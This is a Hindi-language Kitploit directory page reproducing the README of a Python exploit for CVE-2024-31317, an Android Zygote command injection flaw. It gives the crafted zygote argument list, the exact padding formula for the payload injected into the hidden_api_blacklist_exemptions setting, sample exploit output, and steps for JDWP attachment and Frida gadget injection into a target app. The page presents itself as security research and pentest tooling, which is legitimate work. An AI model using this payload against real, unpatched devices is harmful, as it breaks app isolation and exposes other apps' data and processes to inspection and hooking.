Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 डीबग करने योग्य ऐप शोषण | Kitploit
उपकरण/GitHubGitHub/cleov2/debuggable-app-exploit
एंड्रॉइड सुरक्षाभेद्यता विश्लेषणशोषणफज़िंगमोबाइल सुरक्षालर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 डीबग करने योग्य ऐप शोषण

रिपॉजिटरी देखें
12397 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-31317 Debuggable ऐप एक्सप्लॉइट

CVE-2024-31317 (Android Zygote Injection) के लिए एक Python-आधारित एक्सप्लॉइट जो hidden_api_blacklist_exemptions सेटिंग के माध्यम से दुर्भावनापूर्ण zygote आर्गुमेंट्स इंजेक्ट करके किसी भी इंस्टॉल किए गए Android ऐप को debuggable बनाता है। रनटाइम हुकिंग के लिए वैकल्पिक Frida गैजेट इंजेक्शन शामिल है।

अवलोकन

यह एक्सप्लॉइट Android के Zygote प्रक्रिया में एक कमांड इंजेक्शन भेद्यता का लाभ उठाता है ताकि लक्ष्य एप्लिकेशन को debuggable फ्लैग सक्षम के साथ शुरू किया जा सके। यह रूट एक्सेस या ऐप के डीबग संस्करण की आवश्यकता के बिना किसी भी ऐप की JDWP डीबगिंग और निरीक्षण की अनुमति देता है।

शोध पर आधारित: Flanker के CVE-2024-31317 विश्लेषण

मुख्य अंतर्दृष्टि: "ZygoteArguments में runtime-flags फ़ील्ड वास्तव में किसी एप्लिकेशन के debuggable गुण को सक्षम करने के लिए उपयोग किया जा सकता है।"

विशेषताएं

  • स्वतः-पहचान मोड - स्वचालित रूप से लक्ष्य ऐप का UID, निर्देश सेट और डेटा निर्देशिका का पता लगाता है
  • Debuggable फ्लैग इंजेक्शन - डीबगिंग सक्षम करने के लिए runtime-flags=65535 सेट करता है
  • JDWP फ़ॉरवर्डिंग - एक्सप्लॉइट के बाद स्वचालित रूप से JDWP पोर्ट फ़ॉरवर्डिंग सेट करता है
  • Frida गैजेट इंजेक्शन - वैकल्पिक रूप से JDWP के माध्यम से रनटाइम हुकिंग के लिए Frida इंजेक्ट करता है
  • स्मार्ट ब्रेकपॉइंट - विश्वसनीय ब्रेकपॉइंट का उपयोग करता है जो उपयोगकर्ता इंटरैक्शन के बिना स्वचालित रूप से ट्रिगर होते हैं
  • स्वतः-इंस्टॉल डीबग ऐप - यदि मौजूद नहीं है तो हेल्पर ऐप इंस्टॉल करता है

आवश्यकताएँ

  • Android डिवाइस CVE-2024-31317 के लिए संवेदनशील (जून 2024 सुरक्षा पैच से पहले)
  • ADB स्थापित और USB डीबगिंग सक्षम
  • Python 3.10+
  • आवश्यक पैकेज: ppadb, jdwplib

स्थापना

निम्नलिखित फ़ाइलों को एक ही निर्देशिका में रखें:

├── CVE-2024-31317-Debuggable.py    # Main exploit script
├── jdwplib.py                       # JDWP client library
├── app-debug.apk                    # Debuggable helper app
├── frida-gadget-android-*.so        # Frida gadget (optional)
├── frida-gadget.config.so           # Frida config (optional)
└── win32/adb.exe                    # Windows ADB binary

उपयोग

मूल उपयोग

python CVE-2024-31317-Debuggable.py

स्क्रिप्ट आपको एक पैरामीटर पहचान मोड चुनने के लिए प्रेरित करेगी:

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

यह क्या करता है

  1. चरण 1: startSeq निकालें

    • एक debuggable हेल्पर ऐप शुरू करता है
    • JDWP के माध्यम से कनेक्ट होता है और स्टैक फ्रेम से startSeq मान निकालता है
    • हेल्पर ऐप बंद करता है
  2. चरण 2: Zygote आर्गुमेंट्स इंजेक्ट करें

    • runtime-flags=65535 (debuggable) के साथ दुर्भावनापूर्ण zygote आर्गुमेंट्स बनाता है
    • पेलोड को hidden_api_blacklist_exemptions सेटिंग में इंजेक्ट करता है
    • इंजेक्ट किए गए आर्गुमेंट्स के साथ लक्ष्य ऐप को फोर्स-स्टॉप और पुनरारंभ करता है
  3. चरण 3: पोस्ट-एक्सप्लॉइटेशन

    • JDWP पोर्ट फ़ॉरवर्डिंग सेट करता है
    • वैकल्पिक रूप से रनटाइम हुकिंग के लिए Frida गैजेट इंजेक्ट करता है

उदाहरण आउटपुट

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

कॉन्फ़िगरेशन

लक्ष्य ऐप

स्क्रिप्ट के शीर्ष पर स्थित स्थिरांक संपादित करें:

TARGET_APP = "com.debug.configurator"  # Change to your target package
DEBUG_APP = "com.debug.app"            # Helper debuggable app
DEBUG_APK = "app-debug.apk"            # APK file for helper app

स्वतः-पहचान बनाम हार्डकोडेड

स्वतः-पहचान मोड (अनुशंसित):

  • UID प्राप्त करने के लिए pm list packages -U का उपयोग करता है
  • निर्देश सेट और डेटा निर्देशिका प्राप्त करने के लिए dumpsys package का उपयोग करता है
  • विभिन्न उपकरणों में अधिक विश्वसनीय

हार्डकोडेड मोड:

  • डिफ़ॉल्ट मानों का उपयोग करता है (UID=10242, arm64, आदि)
  • तेज़ लेकिन यदि उपकरण डिफ़ॉल्ट से भिन्न है तो कम विश्वसनीय

Frida गैजेट इंजेक्शन

एक्सप्लॉइट सफल होने के बाद, आप वैकल्पिक रूप से Frida गैजेट इंजेक्ट कर सकते हैं:

Inject Frida? (y/N): y

स्क्रिप्ट करेगी:

  1. frida-gadget.so को /data/local/tmp/ पर पुश करेगी
  2. run-as के माध्यम से ऐप के डेटा निर्देशिका में कॉपी करेगी
  3. एक ब्रेकपॉइंट सेट करेगी और JDWP के माध्यम से गैजेट लोड करेगी
  4. पोर्ट 27042 और 27043 को फ़ॉरवर्ड करेगी

ब्रेकपॉइंट लक्ष्य

क्लासविधिट्रिगर
android.os.MessageQueuenextस्वचालित - मुख्य लूपर लगातार पोल करता है
android.os.BinderexecTransactस्वचालित - कोई IPC/बाइंडर कॉल
android.app.ActivityThreadhandleMessageस्वचालित - ऐप का मुख्य हैंडलर
android.os.HandlerdispatchMessageस्वचालित - संदेश भेजना
android.os.HandlerhandleMessageस्वचालित - संदेश प्रबंधन
android.view.ChoreographerdoFrameस्वचालित - फ़्रेम कॉलबैक
android.view.ViewdispatchTouchEventमैनुअल - स्पर्श की आवश्यकता है
android.view.ViewonDrawमैनुअल - UI पुनः ड्रॉ की आवश्यकता है

शीर्ष ब्रेकपॉइंट स्वचालित रूप से ट्रिगर होने चाहिए। यदि वे टाइमआउट करते हैं, तो फ़ॉलबैक ब्रेकपॉइंट ट्रिगर करने के लिए ऐप पर टैप करें।

Frida से कनेक्ट करना

सफल इंजेक्शन के बाद:

# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

एक्सप्लॉइटेशन के बाद

एक बार एक्सप्लॉइट सफल हो जाने के बाद, लक्ष्य ऐप डीबगिंग सक्षम के साथ चल रहा है:

  1. JDWP डीबगर से कनेक्ट करें:

    jdb -attach localhost:8701
    
  2. Android Studio डीबगर का उपयोग करें - फ़ॉरवर्ड किए गए पोर्ट पर प्रक्रिया से अटैच करें

  3. Frida का उपयोग करें - यदि स्क्रिप्ट के माध्यम से गैजेट इंजेक्ट किया गया था

यह कैसे काम करता है

भेद्यता अवलोकन

CVE-2024-31317 Android के Zygote प्रक्रिया में एक कमांड इंजेक्शन भेद्यता है। विशेष रूप से तैयार इनपुट के साथ hidden_api_blacklist_exemptions सिस्टम सेटिंग में हेरफेर करके, हम किसी ऐप के शुरू होने पर मनमाने zygote आर्गुमेंट्स इंजेक्ट कर सकते हैं।

मुख्य घटक

  1. startSeq निष्कर्षण: प्रत्येक ऐप लॉन्च में एक अद्वितीय अनुक्रम संख्या होती है। हम स्टैक फ्रेम वेरिएबल्स का निरीक्षण करके JDWP के माध्यम से एक debuggable ऐप से इसे निकालते हैं।

  2. पेलोड निर्माण: हम zygote आर्गुमेंट्स बनाते हैं जिनमें शामिल हैं:

    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Enables all debug flags
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. इंजेक्शन: पेलोड को Android 12+ के लिए विशिष्ट पैडिंग के साथ सिस्टम सेटिंग में इंजेक्ट किया जाता है:

    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. ट्रिगर: लक्ष्य ऐप को फोर्स-स्टॉप और पुनरारंभ करें, जो हमारे इंजेक्ट किए गए आर्गुमेंट्स और debuggable फ्लैग सक्षम के साथ लॉन्च होता है।

JDWP के माध्यम से Frida इंजेक्शन

टूल डाउनलोड करें